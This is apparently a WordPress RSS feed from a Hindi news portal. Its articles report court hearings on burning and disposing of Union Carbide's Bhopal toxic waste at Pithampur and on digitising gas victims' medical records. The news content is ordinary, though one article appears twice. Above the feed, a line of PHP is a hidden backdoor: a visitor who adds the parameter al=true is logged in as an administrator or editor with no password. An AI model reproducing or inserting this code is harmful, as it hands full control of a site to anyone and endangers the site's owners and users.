// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Bhopal Gas Tragedy – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 01 Aug 2025 09:37:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 कार्बाइड कचरे को लेकर हाईकोर्ट सख्त, सरकार से मांगा निपटारे का प्लान; 14 अगस्त को अगली सुनवाई https://pratyushaashakinayikiran.com/?p=174788 Fri, 01 Aug 2025 09:37:00 +0000 https://pratyushaashakinayikiran.com/?p=174788 भोपाल/जबलपुर 
भोपाल गैस त्रासदी के लिए जिम्मेदार यूनियन कार्बाइड के जहरीले कचरे के विनिष्टीकरण मामले में गुरुवार को हाईकोर्ट में सुनवाई हुई. जस्टिस अतुल श्रीधरन व जस्टिस अनुराधा शुक्ला की युगलपीठ के समक्ष पूर्व निर्देश के अनुसार जहरीले कचरे को नष्ट करने से निकली राख को नष्ट करने संबंध में एक्सपर्ट कमेटी के सदस्यों ने रिपोर्ट पेश की. इस रिपोर्ट पर हाई कोर्ट ने नाखुशी जताई.

एक्सपर्ट कमेटी को सवालों के जवाब देने के निर्देश

युगलपीठ द्वारा किये गये प्रश्नों को एक्सपर्ट कमेटी के सदस्य संतोषजनक जवाब नहीं दे सके. युगलपीठ ने याचिका पर अगली सुनवाई 14 अगस्त को निर्धारित की है साथ ही एक्सपर्ट कमेटी के सदस्यों से प्रश्नों के संबंध में संतोषजनक जवाब पेश करने के आदेश जारी किए. गौरतलब है कि साल 2004 में आलोक प्रताप सिंह ने यूनियन कार्बाइड के जहरीले कचरे के विनिष्टीकरण की मांग करते हुए हाई कोर्ट में जनहित याचिका दायर की थी. याचिकाकर्ता की मृत्यु के बाद हाई कोर्ट मामले की सुनवाई संज्ञान याचिका के रूप में कर रही थी.

सरकार ने जहरीले कचरे के निपटान का किया था दावा

पिछली सुनवाई के दौरान राज्य शासन की तरफ से पेश रिपोर्ट में बताया गया था "यूनियन कार्बाइड के जहरीले कचरे का विनिष्टीकरण सफलतापूर्वक पीथमपुर स्थित सुविधा केंद्र में कर दिया गया है. केंद्रीय व राज्य प्रदूषण नियंत्रण बोर्ड के तकनीकी विशेषज्ञों की देखरेख में जहरीले कचरे का विनिष्टीकरण किया गया है. जहरीले कचरे से 850 मीट्रिक टन राख व अवशेष एकत्रित हुआ है. एमपी-पीसीबी से सीटीओ मिलने के बाद अलग लैंडफिल सेल में उसे नष्ट किया जाएगा."

जहरीले कचरे की राख में रेडियो एक्टिव पदार्थ का दावा

हाई कोर्ट ने इस रिपोर्ट को रिकॉर्ड पर ले लिया था. इसी के साथ कंपाइल स्टेटस रिपोर्ट पेश करने के निर्देश दिये थे. वहीं, हाई कोर्ट में एक अन्य जनहित याचिका के जरिए दावा किया गया है "यूनियन कार्बाइड के जहरीले कचरे की राख में रेडियो एक्टिव पदार्थ सक्रिय हैं, जो चिंता का विषय है. हाईकोर्ट ने इस मामले की प्रारंभिक सुनवाई के बाद मूल मामले के साथ सुनवाई किये जाने की व्यवस्था दी थी. इस पर गुरुवार को सभी मामलों की संयुक्त रूप से सुनवाई हुई."

जहरीले कचरे की राख को अमेरिका भेजने की मांग याचिका में यह मांग की गई है कि जैसे साल 2003 में तमिलनाडु सरकार ने कोडैकनाल में पड़े यूनीलीवर कंपनी के जहरीले कचरे को अमेरिका भेज दिया था, वैसे ही यूनियन कार्बाइड कंपनी के जहरीले कचरे की राख को भी अमेरिका भेजा जाए।

सुनवाई के दौरान प्रदेश सरकार की ओर से यह स्पष्ट नहीं किया गया कि यूनियन कार्बाइड के जहरीले कचरे को जलाने के बाद बची राख को पीथमपुर में इंसानी आबादी के पास क्यों दफनाया जा रहा है। यह भी नहीं बताया गया कि अगर कचरा जलाने के बाद जहरीली मरकरी राख में नहीं बची, तो वह आखिर गई कहां।

अगली सुनवाई में सरकार को बताना होगा प्लान याचिकाकर्ता ने दो स्वतंत्र तकनीकी विशेषज्ञों को सुनवाई में शामिल करने की मांग की है, जिस पर हाईकोर्ट ने अगली सुनवाई की तारीख 14 अगस्त तय की है। इस दिन मध्यप्रदेश सरकार को हाईकोर्ट में यह बताना होगा कि यूनियन कार्बाइड के जहरीले कचरे की राख को सुरक्षित दफनाने के लिए उसकी क्या योजना है। इसके लिए पीथमपुर के अलावा कौन-कौन सी वैकल्पिक जगह चिह्नित की गई है।

पिछले सुनवाई में सरकार ने ये रिपोर्ट पेश की थी याचिकाकर्ता की ओर से पक्ष रख रहे सीनियर वकील नमन नागरथ और खालिद नूर फखरुद्दीन ने बताया कि पिछली सुनवाई के दौरान राज्य शासन की ओर से रिपोर्ट पेश की गई थी। जिसमें कहा गया था कि यूनियन कार्बाइड के जहरीले कचरे का निपटारा सफलतापूर्वक पीथमपुर स्थित सुविधा केंद्र में कर दिया गया है।

केंद्रीय और राज्य प्रदूषण नियंत्रण बोर्ड के तकनीकी विशेषज्ञों की देखरेख में जहरीले कचरे को नष्ट किया गया है। जहरीले कचरे से 850 मीट्रिक टन राख और अन्य अवशेष एकत्रित हुए है। मप्र प्रदूषण नियंत्रण बोर्ड से सीटीओ मिलने के बाद अलग लैंडफिल सेल में उसे नष्ट किया जाएगा।

कोर्ट ने इल रिपोर्ट को रिकॉर्ड पर ले लिया था। इसी के साथ कंपाइल स्टेटस रिपोर्ट पेश करने के निर्देश दिए थे। इस बीच हाईकोर्ट में एक अन्य जनहित याचिका के जरिए दावा किया गया है कि यूनियन कार्बाइड के जहरीले कचरे की राख में रेडियो एक्टिव पदार्थ सक्रिय हैं, जो चिंता का विषय है।

हाईकोर्ट ने इस मामले की प्रारंभिक सुनवाई के बाद मूल मामले के साथ सुनवाई की व्यवस्था दे दी है। आगामी सुनवाई में एक्सपर्ट कमेटी के सदस्यों के जवाबों पर गौर करने के साथ अन्य बिंदुओं पर भी विचार किया जाएगा।

जहरीले कचरे की राख में हेवी मेटल व मर्करी

हाई कोर्ट ने सुनवाई के दौरान यूनियन कार्बाइड के जहरीला कचरा की राख में हेवी मेटल व मर्करी के संबंध में सवाल किये. इसके अलावा घनी आबादी वाले क्षेत्र के पास कचरे के विनिष्टीकरण की साइट का चयन किये जाने के संबंध में भी युगलपीठ ने एक्सपर्ट कमेटी के सदस्यों से सवाली किये. याचिकाकर्ता की तरफ से अधिवक्ता वरिष्ठ अधिवक्ता नमन नागरथ तथा खालिद नूर फखरुद्दीन ने पैरवी की. 

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यूनियन कार्बाइड का 10 टन कचरा 75 घंटे में जलकर भस्म हुआ, अब शुरू होगा दूसरा ट्रायल https://pratyushaashakinayikiran.com/?p=135884 Tue, 04 Mar 2025 09:36:00 +0000 https://pratyushaashakinayikiran.com/?p=135884 इंदौर
 मध्यप्रदेश के पीथमपुर औद्योगिक क्षेत्र के एक अपशिष्ट निपटान संयंत्र में भोपाल के यूनियन कार्बाइड कारखाने के 337 टन कचरे में से 10 टन अपशिष्ट को परीक्षण के तौर पर भस्म किए जाने की करीब 75 घंटे चली प्रक्रिया सोमवार को खत्म हो गई और इस दौरान पार्टिकुलेट मैटर (पीएम), कार्बन और अलग-अलग गैसों का उत्सर्जन मानक सीमा के भीतर रहा। अधिकारियों ने यह जानकारी दी।

अधिकारियों ने बताया कि 1984 की भोपाल गैस त्रासदी के लिए जिम्मेदार कारखाने के कचरे के निपटान के पहले दौर के परीक्षण को मध्यप्रदेश उच्च न्यायालय के आदेश पर एक निजी कंपनी के संचालित अपशिष्ट निपटान संयंत्र में अंजाम दिया गया।

इस कचरे के निपटान की प्रक्रिया शुरू होने के बीच पीथमपुर औद्योगिक क्षेत्र में सुरक्षा के कड़े इंतजाम किए गए।

इंदौर संभाग के आयुक्त दीपक सिंह ने संवाददाताओं को बताया, ‘‘हमने पीथमपुर के अपशिष्ट निपटान संयंत्र के भस्मक में यूनियन कार्बाइड कारखाने के 10 टन कचरे को परीक्षण के तौर पर जलाने की प्रक्रिया शुक्रवार (28 फरवरी) को शुरू की थी जो सोमवार को खत्म हो गई।’’

उन्होंने कहा कि केंद्र और राज्य के प्रदूषण नियंत्रण बोर्ड के दल ने परीक्षण की पूरी निगरानी की और इस दौरान पीथमपुर और इससे करीब 30 किलोमीटर दूर इंदौर की वायु गुणवत्ता ‘‘सामान्य’’ बनी रही।

सिंह ने बताया कि पीथमपुर के अपशिष्ट निपटान संयंत्र में दूसरे दौर के परीक्षण की तैयारी की जा रही है और इस चरण में भी यूनियन कार्बाइड कारखाने के 10 टन कचरे को भस्म किया जाएगा।

राज्य प्रदूषण नियंत्रण बोर्ड की ओर से जारी विज्ञप्ति के मुताबिक कचरे के निपटान के दौरान पिछले 24 घंटे में इस संयंत्र से पार्टिकुलेट मैटर (पीएम), सल्फर डाइऑक्साइड, नाइट्रोजन ऑक्साइड, कार्बन मोनो ऑक्साइड, हाइड्रोजन क्लोराइड, हाइड्रोजन फ्लोराइड और टोटल ऑर्गेनिक कार्बन का उत्सर्जन मानक सीमा के भीतर पाया गया।

विज्ञप्ति के मुताबिक पहले दौर के परीक्षण के दौरान हुए इन उत्सर्जनों का विश्लेषण किया जा रहा है और दूसरे दौर का परीक्षण चार मार्च (मंगलवार) से शुरू किया जाना प्रस्तावित है।

रिपोर्ट आते ही शुरु होगा दूसरे चरण का ट्रायल
वहीं आज यानी 4 मार्च से दूसरे चरण का ट्रायल शुरू होगा। श्रीनिवास द्विवेदी ने बताया कि, पहले चरण में कचरे को 135 किलोग्राम प्रति घंटे की दर से जलाया गया था। अब दूसरे चरण में कचरे की जलाने की दर को बढ़ाकर 180 किलोग्राम प्रति घंटे किया जाएगा। इस दौरान उन्होंने ये भी बताया कि, पहले चरण की रिपोर्ट आज ही आ जाएगी, जिसके बाद ये फैसला लिया जाएगा कि, कचरे को आज कब जलाया जाएगा। रिपोर्ट के आधार पर ही दूसरे चरण के कचरे को जलाने की तैयारी शुरू की होगी।

स्टैंडर्ड ऑपरेटिंग प्रोसीजर से हो रहा निष्पादन

वहीं मामले में धार कलेक्टर प्रियंक मिश्रा ने बताया कि "पीथमपुर में हाईकोर्ट के दिशा निर्देश पर ही कचरा जलाया जा रहा है. इसके लिए प्रदूषण नियंत्रण मंडल ने जो स्टैंडर्ड ऑपरेटिंग प्रोसीजर तैयार किया है. उसी के अनुसार कचरे का निष्पादन होना है. उन्होंने बताया कचरे को अनलोड किए जाने और अलग-अलग पैकेट में तैयार करने के बाद अब वास्तविक रूप से कचरा जलाने की प्रक्रिया शुरू हो रही है.

72 घंटे में जलेगा 10 टन कचरा

इस प्रक्रिया के दौरान लगातार 72 घंटे तक करीब 10 टन कचरा जलाया जाएगा. जिसकी लाइव मॉनिटरिंग की व्यवस्था की गई है. कलेक्टर प्रियंक मिश्रा ने बताया जिन कर्मचारियों की ड्यूटी संयंत्र के अंदर है. वह भी प्रदूषण से सुरक्षा के तमाम प्रोटोकॉल का पालन करते हुए काम कर रहे हैं. वही शहर भर में लोगों को विश्वास में लेकर उन्हें कचरे की लाइव मॉनिटरिंग की भी सुविधा दी गई है. उन्होंने बताया कचरा जलाए जाने के दौरान पूरे पीथमपुर में कहीं कोई विरोध नहीं है."

रामकी एनवायरो में जलेगा 10 टन कचरा

दरअसल यूनियन कार्बाइड कचरे को लेकर लोगों तक वास्तविक जानकारी पहुंचाने का परिणाम है. उन्होंने कहा इसके अलावा जो लोग विरोध कर रहे थे. उन्होंने भी कोर्ट के समक्ष अपना तर्क रखा, हालांकि कोर्ट ने ही अब कचरे के निष्पादन के आदेश दिए हैं, तो पूरी सुरक्षा व्यवस्था और तमाम प्रोटोकॉल का पालन करते हुए कचरा जलाया जा रहा है.

900 डिग्री सेल्सियस के तापमान में जलेगा कचरा

परिसर में यूनियन कार्बाइड के कचरे को अनलोड करने के बाद मिक्सिंग और जलाने की प्रक्रिया केंद्रीय प्रदूषण नियंत्रण मंडल की देखरेख में की जा रही है. पहले कंटेनर से कचरा अलग किया गया. फिर संयंत्र के इंसीनरेटर में 900 डिग्री सेल्सियस के तापमान में कचरे को जलाया जा रहा है. बताया जा रहा है कि यूनियन कार्बाइड के कचरे में नेपथॉल सेमी प्रोसैस्ट पेस्टिसाइड 47 समेत यूनियन कार्बाइड से इकठ्ठा मिट्टी के भी अवेशष हैं. यूनियन कार्बाइड में प्लांट के अंदर स्थित अन्य सामग्री भी कचरे में शामिल है, जिसे इंसीनरेटर में चूना मिलकर जलाया जा रहा है.

9-9 किलो के बनाए गए पैकेट

10 टन के कचरे को 72 घंटे यानि 3 दिन में जलाया जाएगा. जिसके लिए सबसे पहले 9-9 किलो के पैकेट बनाए गए हैं. हर पैकेट में साढ़े 4 किलो कचरा और इतनी ही मात्रा में चूना है. जिससे रासायनिक प्रभाव को न्यूट्रल किया जा सके. कचरा जलाने के लिए गुरुवार रात से ही इंसीनरेटर को चालू कर दिया गया था. जिसे 900 डिग्री सेल्सियस तक गर्म रखने के लिए चालू रहना जरूरी है. शुक्रवार सुबह यह तापमान 850-900 डिग्री पहुंचा. फिर उसमें कचरे के पैकेट डालना शुरू किया गया. कचरे के जलने पर जो धुआं या गैस या तत्व निकलेगा, उस पर प्रदूषण नियंत्रण मंडल के अधिकारी नजर बनाए हुए हैं.

विज्ञप्ति में बताया गया कि राज्य प्रदूषण नियंत्रण बोर्ड यूनियन कार्बाइड का कचरा जलाए जाने के दौरान पीथमपुर के अपशिष्ट निपटान संयंत्र के आस-पास पांच स्थानों पर परिवेशीय वायु गुणवत्ता माप रहा है जिनमें तीन गांव शामिल हैं।

राज्य प्रदूषण नियंत्रण बोर्ड के क्षेत्रीय अधिकारी श्रीनिवास द्विवेदी ने ‘पीटीआई-भाषा’ को बताया कि यूनियन कार्बाइड के कचरे को जलाने का पहला परीक्षण करीब 75 घंटे चला और इस दौरान संयंत्र के भस्मक में हर घंटे 135 किलोग्राम कचरा डाला गया।

उन्होंने बताया कि दूसरे दौर के परीक्षण के दौरान भस्मक में हर घंटे 180 किलोग्राम कचरा डाला जाएगा।

द्विवेदी ने बताया कि पहले दौर के परीक्षण को करीब 60 अधिकारी-कर्मचारियों ने अंजाम दिया जिनमें शामिल केंद्र और राज्य के प्रदूषण नियंत्रण बोर्ड के करीब 20 लोगों ने इस प्रक्रिया की निगरानी की।

उन्होंने बताया, ‘‘परीक्षण में शामिल कर्मचारियों को हर आठ घंटे में बदल दिया गया।’’

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यूनियन कार्बाइड का 10 टन कचरा 75 घंटे में जलकर भस्म हुआ, अब शुरू होगा दूसरा ट्रायल https://pratyushaashakinayikiran.com/?p=135886 Tue, 04 Mar 2025 09:36:00 +0000 https://pratyushaashakinayikiran.com/?p=135886 इंदौर
 मध्यप्रदेश के पीथमपुर औद्योगिक क्षेत्र के एक अपशिष्ट निपटान संयंत्र में भोपाल के यूनियन कार्बाइड कारखाने के 337 टन कचरे में से 10 टन अपशिष्ट को परीक्षण के तौर पर भस्म किए जाने की करीब 75 घंटे चली प्रक्रिया सोमवार को खत्म हो गई और इस दौरान पार्टिकुलेट मैटर (पीएम), कार्बन और अलग-अलग गैसों का उत्सर्जन मानक सीमा के भीतर रहा। अधिकारियों ने यह जानकारी दी।

अधिकारियों ने बताया कि 1984 की भोपाल गैस त्रासदी के लिए जिम्मेदार कारखाने के कचरे के निपटान के पहले दौर के परीक्षण को मध्यप्रदेश उच्च न्यायालय के आदेश पर एक निजी कंपनी के संचालित अपशिष्ट निपटान संयंत्र में अंजाम दिया गया।

इस कचरे के निपटान की प्रक्रिया शुरू होने के बीच पीथमपुर औद्योगिक क्षेत्र में सुरक्षा के कड़े इंतजाम किए गए।

इंदौर संभाग के आयुक्त दीपक सिंह ने संवाददाताओं को बताया, ‘‘हमने पीथमपुर के अपशिष्ट निपटान संयंत्र के भस्मक में यूनियन कार्बाइड कारखाने के 10 टन कचरे को परीक्षण के तौर पर जलाने की प्रक्रिया शुक्रवार (28 फरवरी) को शुरू की थी जो सोमवार को खत्म हो गई।’’

उन्होंने कहा कि केंद्र और राज्य के प्रदूषण नियंत्रण बोर्ड के दल ने परीक्षण की पूरी निगरानी की और इस दौरान पीथमपुर और इससे करीब 30 किलोमीटर दूर इंदौर की वायु गुणवत्ता ‘‘सामान्य’’ बनी रही।

सिंह ने बताया कि पीथमपुर के अपशिष्ट निपटान संयंत्र में दूसरे दौर के परीक्षण की तैयारी की जा रही है और इस चरण में भी यूनियन कार्बाइड कारखाने के 10 टन कचरे को भस्म किया जाएगा।

राज्य प्रदूषण नियंत्रण बोर्ड की ओर से जारी विज्ञप्ति के मुताबिक कचरे के निपटान के दौरान पिछले 24 घंटे में इस संयंत्र से पार्टिकुलेट मैटर (पीएम), सल्फर डाइऑक्साइड, नाइट्रोजन ऑक्साइड, कार्बन मोनो ऑक्साइड, हाइड्रोजन क्लोराइड, हाइड्रोजन फ्लोराइड और टोटल ऑर्गेनिक कार्बन का उत्सर्जन मानक सीमा के भीतर पाया गया।

विज्ञप्ति के मुताबिक पहले दौर के परीक्षण के दौरान हुए इन उत्सर्जनों का विश्लेषण किया जा रहा है और दूसरे दौर का परीक्षण चार मार्च (मंगलवार) से शुरू किया जाना प्रस्तावित है।

रिपोर्ट आते ही शुरु होगा दूसरे चरण का ट्रायल
वहीं आज यानी 4 मार्च से दूसरे चरण का ट्रायल शुरू होगा। श्रीनिवास द्विवेदी ने बताया कि, पहले चरण में कचरे को 135 किलोग्राम प्रति घंटे की दर से जलाया गया था। अब दूसरे चरण में कचरे की जलाने की दर को बढ़ाकर 180 किलोग्राम प्रति घंटे किया जाएगा। इस दौरान उन्होंने ये भी बताया कि, पहले चरण की रिपोर्ट आज ही आ जाएगी, जिसके बाद ये फैसला लिया जाएगा कि, कचरे को आज कब जलाया जाएगा। रिपोर्ट के आधार पर ही दूसरे चरण के कचरे को जलाने की तैयारी शुरू की होगी।

स्टैंडर्ड ऑपरेटिंग प्रोसीजर से हो रहा निष्पादन

वहीं मामले में धार कलेक्टर प्रियंक मिश्रा ने बताया कि "पीथमपुर में हाईकोर्ट के दिशा निर्देश पर ही कचरा जलाया जा रहा है. इसके लिए प्रदूषण नियंत्रण मंडल ने जो स्टैंडर्ड ऑपरेटिंग प्रोसीजर तैयार किया है. उसी के अनुसार कचरे का निष्पादन होना है. उन्होंने बताया कचरे को अनलोड किए जाने और अलग-अलग पैकेट में तैयार करने के बाद अब वास्तविक रूप से कचरा जलाने की प्रक्रिया शुरू हो रही है.

72 घंटे में जलेगा 10 टन कचरा

इस प्रक्रिया के दौरान लगातार 72 घंटे तक करीब 10 टन कचरा जलाया जाएगा. जिसकी लाइव मॉनिटरिंग की व्यवस्था की गई है. कलेक्टर प्रियंक मिश्रा ने बताया जिन कर्मचारियों की ड्यूटी संयंत्र के अंदर है. वह भी प्रदूषण से सुरक्षा के तमाम प्रोटोकॉल का पालन करते हुए काम कर रहे हैं. वही शहर भर में लोगों को विश्वास में लेकर उन्हें कचरे की लाइव मॉनिटरिंग की भी सुविधा दी गई है. उन्होंने बताया कचरा जलाए जाने के दौरान पूरे पीथमपुर में कहीं कोई विरोध नहीं है."

रामकी एनवायरो में जलेगा 10 टन कचरा

दरअसल यूनियन कार्बाइड कचरे को लेकर लोगों तक वास्तविक जानकारी पहुंचाने का परिणाम है. उन्होंने कहा इसके अलावा जो लोग विरोध कर रहे थे. उन्होंने भी कोर्ट के समक्ष अपना तर्क रखा, हालांकि कोर्ट ने ही अब कचरे के निष्पादन के आदेश दिए हैं, तो पूरी सुरक्षा व्यवस्था और तमाम प्रोटोकॉल का पालन करते हुए कचरा जलाया जा रहा है.

900 डिग्री सेल्सियस के तापमान में जलेगा कचरा

परिसर में यूनियन कार्बाइड के कचरे को अनलोड करने के बाद मिक्सिंग और जलाने की प्रक्रिया केंद्रीय प्रदूषण नियंत्रण मंडल की देखरेख में की जा रही है. पहले कंटेनर से कचरा अलग किया गया. फिर संयंत्र के इंसीनरेटर में 900 डिग्री सेल्सियस के तापमान में कचरे को जलाया जा रहा है. बताया जा रहा है कि यूनियन कार्बाइड के कचरे में नेपथॉल सेमी प्रोसैस्ट पेस्टिसाइड 47 समेत यूनियन कार्बाइड से इकठ्ठा मिट्टी के भी अवेशष हैं. यूनियन कार्बाइड में प्लांट के अंदर स्थित अन्य सामग्री भी कचरे में शामिल है, जिसे इंसीनरेटर में चूना मिलकर जलाया जा रहा है.

9-9 किलो के बनाए गए पैकेट

10 टन के कचरे को 72 घंटे यानि 3 दिन में जलाया जाएगा. जिसके लिए सबसे पहले 9-9 किलो के पैकेट बनाए गए हैं. हर पैकेट में साढ़े 4 किलो कचरा और इतनी ही मात्रा में चूना है. जिससे रासायनिक प्रभाव को न्यूट्रल किया जा सके. कचरा जलाने के लिए गुरुवार रात से ही इंसीनरेटर को चालू कर दिया गया था. जिसे 900 डिग्री सेल्सियस तक गर्म रखने के लिए चालू रहना जरूरी है. शुक्रवार सुबह यह तापमान 850-900 डिग्री पहुंचा. फिर उसमें कचरे के पैकेट डालना शुरू किया गया. कचरे के जलने पर जो धुआं या गैस या तत्व निकलेगा, उस पर प्रदूषण नियंत्रण मंडल के अधिकारी नजर बनाए हुए हैं.

विज्ञप्ति में बताया गया कि राज्य प्रदूषण नियंत्रण बोर्ड यूनियन कार्बाइड का कचरा जलाए जाने के दौरान पीथमपुर के अपशिष्ट निपटान संयंत्र के आस-पास पांच स्थानों पर परिवेशीय वायु गुणवत्ता माप रहा है जिनमें तीन गांव शामिल हैं।

राज्य प्रदूषण नियंत्रण बोर्ड के क्षेत्रीय अधिकारी श्रीनिवास द्विवेदी ने ‘पीटीआई-भाषा’ को बताया कि यूनियन कार्बाइड के कचरे को जलाने का पहला परीक्षण करीब 75 घंटे चला और इस दौरान संयंत्र के भस्मक में हर घंटे 135 किलोग्राम कचरा डाला गया।

उन्होंने बताया कि दूसरे दौर के परीक्षण के दौरान भस्मक में हर घंटे 180 किलोग्राम कचरा डाला जाएगा।

द्विवेदी ने बताया कि पहले दौर के परीक्षण को करीब 60 अधिकारी-कर्मचारियों ने अंजाम दिया जिनमें शामिल केंद्र और राज्य के प्रदूषण नियंत्रण बोर्ड के करीब 20 लोगों ने इस प्रक्रिया की निगरानी की।

उन्होंने बताया, ‘‘परीक्षण में शामिल कर्मचारियों को हर आठ घंटे में बदल दिया गया।’’

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आगामी 6 महीने में भोपाल गैस त्रासदी के प्रभावितों का मेडिकल डेटा डिजिटल कर दिया जाएगा https://pratyushaashakinayikiran.com/?p=132637 Thu, 20 Feb 2025 10:46:00 +0000 https://pratyushaashakinayikiran.com/?p=132637 भोपाल

 भोपाल गैस त्रासदी से प्रभावित पीड़ितों के मेडिकल रिकॉर्ड के डिजिटलीकरण कार्य में तेजी लाने के लिए अतिरिक्त मशीनें स्थापित की गई हैं। अब प्रतिदिन 20,000 पृष्ठों का डिजिटलीकरण किया जा रहा है, जिससे अनुमान है कि लगभग 17 लाख पृष्ठों का कार्य आगामी छह महीनों में पूरा कर लिया जाएगा। मध्यप्रदेश हाईकोर्ट की मुख्य न्यायाधीश सुरेश कुमार कैत और न्यायमूर्ति विवेक जैन की युगलपीठ ने राज्य सरकार के हलफनामे को रिकॉर्ड में लेते हुए अगली सुनवाई 22 फरवरी को निर्धारित की है।

डिजिटलीकरण कार्य में देरी पर हाईकोर्ट की सख्त टिप्पणी
पिछली सुनवाई के दौरान सरकार की ओर से प्रस्तुत हलफनामे में बताया गया था कि 2014 से पूर्व के मेडिकल रिकॉर्ड अत्यधिक पुराने होने के कारण प्रतिदिन केवल 3,000 पृष्ठों को ही स्कैन किया जा सकता है, जिससे इस प्रक्रिया को पूरा करने में 550 दिन लगेंगे। इस पर हाईकोर्ट ने नाराजगी जताते हुए कहा था कि राज्य सरकार इस कार्य को लेकर गंभीर नहीं है।

अदालत ने राज्य सरकार के स्वास्थ्य एवं परिवार कल्याण विभाग के सचिव तथा बीएमएचआरसी के निदेशक को संयुक्त बैठक कर अंतिम कार्य योजना तैयार करने के निर्देश दिए थे।

सुप्रीम कोर्ट के निर्देश और हाईकोर्ट की मॉनिटरिंग
गौरतलब है कि सुप्रीम कोर्ट ने 2012 में भोपाल गैस पीड़ित महिला उद्योग संगठन समेत अन्य याचिकाकर्ताओं द्वारा दायर याचिका पर सुनवाई करते हुए 20 दिशा-निर्देश जारी किए थे। इन निर्देशों में गैस पीड़ितों के उपचार और पुनर्वास से संबंधित प्रावधानों को लागू करने के लिए मॉनिटरिंग कमेटी का गठन किया गया था।

कोर्ट ने निर्देश दिए थे कि यह कमेटी हर तीन माह में रिपोर्ट हाईकोर्ट के समक्ष प्रस्तुत करेगी। इसके आधार पर हाईकोर्ट केंद्र और राज्य सरकार को आवश्यक दिशा-निर्देश जारी करेगा।

अवमानना याचिका और कोर्ट मित्र की भूमिका
मॉनिटरिंग कमेटी की अनुशंसाओं को लागू न किए जाने के कारण 2015 में एक अवमानना याचिका भी दायर की गई थी। मंगलवार को हुई सुनवाई के दौरान सरकार ने हलफनामे के माध्यम से अदालत को डिजिटलीकरण प्रक्रिया में हुई प्रगति की जानकारी दी। सुनवाई के दौरान कोर्ट मित्र के रूप में अधिवक्ता अंशुमान सिंह ने मामले की पैरवी की।

 

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भोपाल गैस त्रासदी के जहरीले कचरे को लेकर हाईकोर्ट ने दिया छह हफ्ते का समय, सरकार ने कहा- गलत जानकारी से बिगड़े हालात https://pratyushaashakinayikiran.com/?p=118114 Mon, 06 Jan 2025 15:15:00 +0000 https://pratyushaashakinayikiran.com/?p=118114 भोपाल।

भोपाल गैस त्रासदी के जहरीले कचरे को लेकर मचे घमासान के बीच आज सोमवार को जबलपुर हाईकोर्ट में सुनवाई हुई। इस दौरान होईकोर्ट की डिवीजन बेंच से सरकार ने कहा कि गलत जानकारी के कारण पीथमपुरा में हालात बिगड़े और  स्थिति खराब हुई। सरकारा ने कोर्ट से छह हफ्ते का समय मांगा।

इस पर चीफ जस्टिस सुरेश कुमार कैत और जस्टिस विवेक जैन की डिवीजन बेंच ने सरकार की मांग मानते हुए उसे छह सप्ताह का समय दे दिया। अब मामले की अगली सुनवाई 18 फरवरी को होगी। दरअसल, यूनियन कार्बाइड के कचरे के निस्तारण को लेकर हाईकोर्ट में सोमवार को सुनवाई हुई। इस दौरान सरकार की ओर से कोर्ट में एक हलफनामा पेश किया है। जिसमें सरकार ने बताया है कि  यूनियन कार्बाइड के कचरे को लेकर लोगों द्वारा भ्रामक जानकारियां फैलाई जा रही है। इस पर कोर्ट ने संज्ञान लेते हुए मुद्दे से जुड़ी फेक जानकारी या न्यूज पर रोक लगा दी है। साथ ही कोर्ट ने सरकार से कहा है कि गलत जानकारी को दूर किया जाए।

अलग अनुमति की जरूरत नहीं
सुनवाई के दौरान सरकार ने रामकी कंपनी में खड़े कंटेनर को अनलोड करने की अनुमति कोर्ट से मांगी है। इस पर कोर्ट ने कहा कि इसके लिए अलग अनुमति की जरूरत नहीं है। निस्तारण के पूर्व आदेश में ही यह कार्रवाई आती है। राज्य सरकार ने कोर्ट में बताया कि कचरे को अभी जलाया नहीं गया है। इस पर कोर्ट ने सरकार को अपने स्तर पर निस्तारण करने की छूट दी है। सरकार की ओर से इसे लेकर कोर्ट से छह सप्ताह का समय मांगा। सुनवाई के बाद चीफ जस्टिस सुरेश कुमार कैत और जस्टिस विवेक जैन की डिवीजन बेंच ने सरकार की मांग के अनुसार उसे छह सप्ताह का समय दिया है।

इंदौर के डॉक्टर्स ने भी पेश की आपत्तियां
इसके अलावा भी कोर्ट में कचरे के निस्तारण को लेकर इंदौर के डॉक्टर्स द्वारा कई आवेदन और आपत्तियां पेश की गई हैं। इन्हें लेकर कोर्ट ने सरकार से कहा है कि वो सभी आवेदन और आपत्तियां को संज्ञान में लेकर उसमें दिए गए तथ्यों को देखे। मामले में अगली सुनवाई 18 फरवरी को होगी।

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भोपाल गैस त्रासदी के 40 साल बाद 250 KM दूर ले जाया जा रहा 377 मीट्रिक टन जहरीला कचरा https://pratyushaashakinayikiran.com/?p=115457 Mon, 30 Dec 2024 12:09:00 +0000 https://pratyushaashakinayikiran.com/?p=115457 भोपाल

 भोपाल गैस त्रासदी के 40 साल बाद जहरीले कचरे को हटाने की तैयारी शुरू कर दी गई है. गैस त्रासदी के करीब 40 साल बाद यूनियन कार्बाइड फैक्ट्री से 337 टन जहरीला कचरा हटाया जा रहा है. यह कचरा राजधानी भोपाल से पीथमपुर में ले जाकर जलाया जाएगा. कचरे को ले जाने के लिए ग्रीन कॉरिडोर बनाया जाएगा. सभी कचरे को 12 हैडार्डस वेस्ट कंटेनर से पीथमपुर ले जाया जाएगा.

दरअसल, कोर्ट में सुनवाई के बाद आए निर्णय के बाद से यूनियन कार्बाइड फैक्ट्री से कचरा हटाने की तैयारी की जा रही थी. इसको लेकर बीच में विवाद की भी स्थिति बनी हुई थी. लेकिन हाई कोर्ट के आदेश के बाद इसे निस्तारण के लिए पीथमपुर ले जाने की तैयारी पूरी हो गई है. इस बीच आज से पुलिस की निगरानी में यह कार्य शुरू हो गया. यह पूरा कचरा पीथमपुर की एक औद्योगिक अपशिष्ट निपटान इकाई में नष्ट किया जाएगा.

